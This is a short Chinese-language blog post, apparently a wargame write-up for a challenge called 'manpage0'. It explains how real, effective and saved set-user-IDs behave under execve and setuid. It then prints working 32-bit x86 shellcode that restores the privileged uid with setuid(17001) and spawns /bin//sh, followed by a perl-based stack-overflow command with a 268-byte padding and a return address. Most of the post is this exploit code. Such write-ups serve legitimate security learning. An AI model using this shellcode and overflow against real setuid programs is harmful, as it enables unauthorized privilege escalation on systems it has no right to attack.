manpage0

Posted by rk700 on July 18, 2014

有2点:

  1. execve,如果ST_NOSUID没有设的话,新执行的程序的rid不变,eid会变如果suid设了,saved suid也会被保存为eid,这样我们就可以在之后用setuid来恢复
  2. setuid如果权限够了(root?),就把2个id都设了;否则只设eid,rid和saved suid不变

于是还是溢出,不过shellcode中要先恢复权限

BITS 32
;setuid
xor ebx, ebx 
mov bx, 17001
xor eax, eax 
mov al, 23
int 0x80

xor eax, eax 
push eax 
mov edx, esp 
push 0x68732f2f
push 0x6e69622f ;/bin//sh
mov ebx, esp 
push eax 
push ebx 
mov ecx, esp 
mov al, 11
int 0x80

dest和返回地址距离是256+8+4=268,于是

$ /manpage/manpage0 `perl -e 'print "A"x268 . "\xd8\xd8\xff\xff"'`